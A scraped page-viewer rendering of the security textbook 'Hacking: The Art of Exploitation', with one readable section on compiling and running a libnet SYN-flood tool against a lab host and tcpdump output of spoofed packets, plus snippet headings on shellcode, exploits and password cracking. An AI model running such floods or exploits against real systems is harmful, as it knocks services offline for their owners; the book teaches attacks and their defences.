hacking-the-art-of-exploitation

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libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); } return 0; This program uses a print_ip() function to handle converting the u_long type, used by libnet to store IP addresses, to the struct type expected by inet_ntoa(). The value doesn’t change—the typecasting just appeases the compiler. The current release of libnet is version 1.1, which is incompatible with libnet 1.0. However, Nemesis and arpspoof still rely on the 1.0 version of libnet, so this version is included in the LiveCD and this is also what we will use in our synflood program. Similar to compiling with libpcap, when compiling with libnet, the flag -lnet is used. However, this isn’t quite enough information for the compiler, as the output below shows. reader@hacking:~/booksrc $ gcc -o synflood synflood.c -lnet In file included from synflood.c:1: /usr/include/libnet.h:87:2: #error "byte order has not been specified, you'll" synflood.c:6: error: syntax error before string constant reader@hacking:~/booksrc $ The compiler still fails because several mandatory define flags need to be set for libnet. Included with libnet, a program called libnet-config will output these flags. reader@hacking:~/booksrc $ libnet-config --help Usage: libnet-config [OPTIONS] Options: [--libs] [--cflags] [--defines] reader@hacking:~/booksrc $ libnet-config --defines -D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD -DHAVE_NET_ETHERNET_H -DLIBNET_LIL_ENDIAN Using the BASH shell’s command substitution in both, these defines can be dynamically inserted into the compile command. reader@hacking:~/booksrc $ gcc $(libnet-config --defines) -o synflood synflood.c -lnet reader@hacking:~/booksrc $ ./synflood Usage: ./synflood reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./synflood 192.168.42.88 22 Fatal: can't open network interface. -- this program must run as root. reader@hacking:~/booksrc $ sudo ./synflood 192.168.42.88 22 SYN Flooding port 22 of 192.168.42.88.. 254 0x400
In the example above, the host 192.168.42.88 is a Windows XP machine running an openssh server on port 22 via cygwin. The tcpdump output below shows the spoofed SYN packets flooding the host from apparently random IPs. While the program is running, legitimate connections cannot be made to this port. reader@hacking:~/booksrc $ sudo tcpdump -i eth0 -nl -c 15 "host 192.168.42.88" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 17:08:16.334498 IP 121.213.150.59.4584 > 192.168.42.88.22: S 751659999:751659999(0) win 14609 17:08:16.346907 IP 158.78.184.110.40565 > 192.168.42.88.22: S 139725579:139725579(0) win 64357 17:08:16.358491 IP 53.245.19.50.36638 > 192.168.42.88.22: S 322318966:322318966(0) win 43747 17:08:16.370492 IP 91.109.238.11.4814 > 192.168.42.88.22: S 685911671:685911671(0) win 62957 17:08:16.382492 IP 52.132.214.97.45099 > 192.168.42.88.22: S 71363071:71363071(0) win 30490 17:08:16.394909 IP 120.112.199.34.19452 > 192.168.42.88.22: S 1420507902:1420507902(0) win 53397 17:08:16.406491 IP 60.9.221.120.21573 > 192.168.42.88.22: S 2144342837:2144342837(0) win 10594 17:08:16.418494 IP 137.101.201.0.54665 > 192.168.42.88.22: S 1185734766:1185734766(0) win 57243 17:08:16.430497 IP 188.5.248.61.8409 > 192.168.42.88.22: S 1825734966:1825734966(0) win 43454 17:08:16.442911 IP 44.71.67.65.60484 > 192.168.42.88.22: S 1042470133:1042470133(0) win 7087 17:08:16.454489 IP 218.66.249.126.27982 > 192.168.42.88.22: S 1767717206:1767717206(0) win 50156 17:08:16.466493 IP 131.238.172.7.15390 > 192.168.42.88.22: S 2127701542:2127701542(0) win 23682 17:08:16.478497 IP 130.246.104.88.48221 > 192.168.42.88.22: S 2069757602:2069757602(0) win 4767 17:08:16.490908 IP 140.187.48.68.9179 > 192.168.42.88.22: S 1429854465:1429854465(0) win 2092 17:08:16.502498 IP 33.172.101.123.44358 > 192.168.42.88.22: S 1524034954:1524034954(0) win 26970 15 packets captured 30 packets received by filter 0 packets dropped by kernel reader@hacking:~/booksrc $ ssh -v 192.168.42.88 OpenSSH_4.3p2, OpenSSL 0.9.8c 05 Sep 2006 debug1: Reading configuration data /etc/ssh/ssh_config debug1: Connecting to 192.168.42.88 [192.168.42.88] port 22. debug1: connect to address 192.168.42.88 port 22: Connection refused ssh: connect to host 192.168.42.88 port 22: Connection refused reader@hacking:~/booksrc $ Some operating systems (for example, Linux) use a technique called syncookies to try to prevent SYN flood attacks. The TCP stack using syncookies adjusts the initial acknowledgment number for the responding SYN/ACK packet using a value based on host details and time (to prevent replay attacks). Networking 255
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CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
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#define FILENAME "/var/notes" int p
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[DEBUG] found a 34 byte note for us
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of current_time, an empty tm struct
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While struct memory can be accessed
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815015288 1315541117 2080969327 450
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printf("6 - Reset your account at 1
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int fd; } printf("\n===============
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} } // This function is the Pick a
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invalid_choice = 1; while(invalid_c
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Would you like to play again? (y/n)
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114 0x200 Play around with this pro
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A program can only do what it’s p
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don’t say exactly what their crea
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By now, you should be able to read
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eader@hacking:~/booksrc $ gcc explo
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11 if(strcmp(password_buffer, "bril
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auth_overflow2.c #include #include
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As expected, the overflow cannot di
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(gdb) c Continuing. Breakpoint 2, c
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Notice the two lines shown in bold
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eader@hacking:~/booksrc $ perl -e '
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0x0804848d : mov eax,DWORD PTR [eax
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20 offset = atoi(argv[1]); (gdb) 21
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called the NOP sled, that can assis
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The function of the for loop should
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\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6
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eader@hacking:~/booksrc $ ./notesea
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int main(int argc, char *argv[]) {
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char *buffer = (char *) malloc(160)
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7e99000-b7e9a000 rw-p b7e99000 00:0
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for that user. Using the salt value
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0x342 Overflowing Function Pointers
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7 - Quit [Name: Jon Erickson] [You
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0804b630 A _edata 0804b6d4 A _end 0
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n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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6 - Reset your account at 100 credi
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[Name: Jon Erickson] [You have 1230
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Parameter Input Type Output Type %d
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This is an interesting detail that
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0x353 Reading from Arbitrary Memory
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The wrong way to print user-control
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The addresses and junk data at the
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eader@hacking:~/booksrc $ reader@ha
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0x355 Direct Parameter Access Direc
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Since the stack doesn’t need to b
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0x357 Detours with .dtors In binary
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located. Then the actual bytes are
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Since the .dtors section is writabl
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[DEBUG] found a 34 byte note for us
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eader@hacking:~/booksrc $ objdump -
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0x400 NETWORKING Communication and
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For example, whenever you browse th
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Datagram sockets and UDP are common
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From /usr/include/bits/socket.h /*
Page 217 and 218: htons(short value) Host-to-Network
Page 219 and 220: fatal("in socket"); if (setsockopt(
Page 221 and 222: When compiled and run, the program
Page 223 and 224: This reveals that the webserver is
Page 225 and 226: From /usr/include/netdb.h /* Descri
Page 227 and 228: } while(recv_line(sockfd, buffer))
Page 229 and 230: } /* This function handles the conn
Page 231 and 232: Accepting web requests on port 80 G
Page 233 and 234: the two addressing schemes. In the
Page 235 and 236: also exist on this layer. ICMP pack
Page 237 and 238: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
Page 239 and 240: Interrupt:16 Base address:0x2024 re
Page 241 and 242: u_char buffer[9000]; if ((sockfd =
Page 243 and 244: pcap_handle = pcap_open_live(device
Page 245 and 246: eader@hacking:~/booksrc $ $ grep -R
Page 247 and 248: The compiler padding, as mentioned
Page 249 and 250: Now that the headers are defined as
Page 251 and 252: The caught_packet() function gets c
Page 253 and 254: With the headers decoded and separa
Page 255 and 256: Due to timeout values, the victim m
Page 257 and 258: eader@hacking:~/booksrc $ sudo neme
Page 259 and 260: data structures for the packet head
Page 261 and 262: if (pd->file_mem == NULL) pd->file_
Page 263 and 264: only builds ethernet/IP ARP packets
Page 265 and 266: The remaining libnet functions get
Page 267: dest_ip = libnet_name_resolve(argv[
Page 271 and 272: 0x454 Ping Flooding Flooding DoS at
Page 273 and 274: The host machine will receive the s
Page 275 and 276: char errbuf[PCAP_ERRBUF_SIZE]; // S
Page 277 and 278: TH_RST, // Control flags (RST flag
Page 279 and 280: Christmas tree), and the Null scan
Page 281 and 282: 0x475 Proactive Defense (shroud) Po
Page 283 and 284: char errbuf[PCAP_ERRBUF_SIZE]; // S
Page 285 and 286: NULL, // Payload (none) 0, // Paylo
Page 287 and 288: } while(recv(sockfd, ptr, 1, 0) ==
Page 289 and 290: $1 = 540 (gdb) p /x 0xbffff5c0 + 20
Page 291 and 292: " 90 90 90 90 90 90 90 90 90 90 90
Page 293 and 294: When this exploit is compiled and r
Page 295 and 296: 0x500 SHELLCODE So far, the shellco
Page 297 and 298: mmap2(0xb7ee4000, 9596, PROT_READ|P
Page 299 and 300: #define __NR_stime 25 #define __NR_
Page 301 and 302: In shellcode, the bytes for the str
Page 303 and 304: eader@hacking:~/booksrc $ export SH
Page 305 and 306: which means that a small value like
Page 307 and 308: Instruction inc dec Description I
Page 309 and 310: After assembling this shellcode, he
Page 311 and 312: exec_shell.s BITS 32 jmp short two
Page 313 and 314: eader@hacking:~/booksrc $ nasm tiny
Page 315 and 316: int setresuid(uid_t ruid, uid_t eui
Page 317 and 318: push BYTE 11 pop eax push ecx push
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So, to make socket system calls usi
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push BYTE 16 ; argv: { sizeof(serve
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00000030 80 b0 66 43 52 52 56 89 e1
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This loop iterates ECX from 0 to 2,
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push edx ; Build sockaddr struct: I
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pop eax inc ebx ; ebx = 2 (needed f
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the return address uses multiple by
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0x600 COUNTERMEASURES The golden po
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0x620 System Daemons To have a real
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} printf("Caught signal %d\t", sign
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tinywebd.c #include #include #inc
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if(fd == -1) { // If file is not fo
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In previous chapters, we’ve writt
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63 if (listen(sockfd, 20) == -1) 64
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message. Shell variables are used f
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There’s a simple mistake in the t
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any program to show every system ca
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0x080487ee : mov DWORD PTR [esp+8],
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0x08048f5f : call 0x08048f64 : nop
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push BYTE 0x6 ; Close () pop eax in
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A quick glance at the function prol
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push edx ; Build arg array: { proto
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This program can be used to inject
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Then, from another terminal, the ne
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strace is used with the -p command-
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ig red flag. We could change the po
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of new_sockfd will still be correct
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00000020 b0 3f cd 80 49 79 f9 b0 0b
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push ebx mov ecx, esp int 0x80 ; pu
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Instruction Hex ASCII inc eax 0x40
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eader@hacking:~/booksrc $ gcc -o up
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Amazingly, these instructions, comb
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ESP up (toward lower memory address
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eader@hacking:~/booksrc $ gcc -o pr
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At the end, the shellcode has been
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esp 0xbffffa2c 0xbffffa2c eax 0x0 0
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functions are shared, so any progra
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A quick binary search shows that th
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eginning of the buffer. When a prog
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The breakpoint is set at the last i
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Bouncing off linux-gate refers to a
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matrix@loki /hacking $ for i in `se
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manual page for execve() for detail
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for(i=0; i < 90; i+=4) // Fill buff
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encryption, credit card transaction
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through the incorrect filter, its p
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This means that, in general, the gr
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Without some way to manipulate the
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With a little bit of basic algebra,
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Since this is all done modulo N, th
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0x750 Hybrid Ciphers A hybrid crypt
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[:] - Static route to port on host
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communication channel with the atta
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e asked to add the new fingerprint.
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to be a bit hazy. The goal behind t
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---[Current State]-----------------
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0x760 Password Cracking Passwords a
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crypt_crack.c #define _XOPEN_SOURCE
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Custom dictionary files are often m
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possible hashes for a single plaint
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Of course, there are downsides. Fir
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charval = (k-32)*95 + (l-32); // La
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} /* Print the plaintext pairs that
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printf("Building probability vector
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Of course, if WEP is turned on, onl
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Now when keystream data is needed,
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After an IV collision is discovered
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is really quite amazing. It takes a
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Seed = IV concatenated with the key
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int key[13] = {1, 2, 3, 4, 5, 66, 7
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and the key is hard-coded into the
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9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
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0x800 CONCLUSION Hacking tends to b
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CNET News. “40-Bit Crypto Proves
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INDEX Symbols & Numbers & (ampersan
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uffer overrun, 119 buffers, 38 prog
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dtors_sample.c program, 184 dump()
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declaring as void, 17 for error che
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Internet Protocol (IP), 220 address
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nemesis_arp() function, 245 nemesis
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pointer_types4.c program, 56 pointe
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session layer (OSI), 196 for web br
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text segment, of memory, 69 then ke
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More No-Nonsense Books from NO STAR
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UPDATES Visit http://www.nostarch.c
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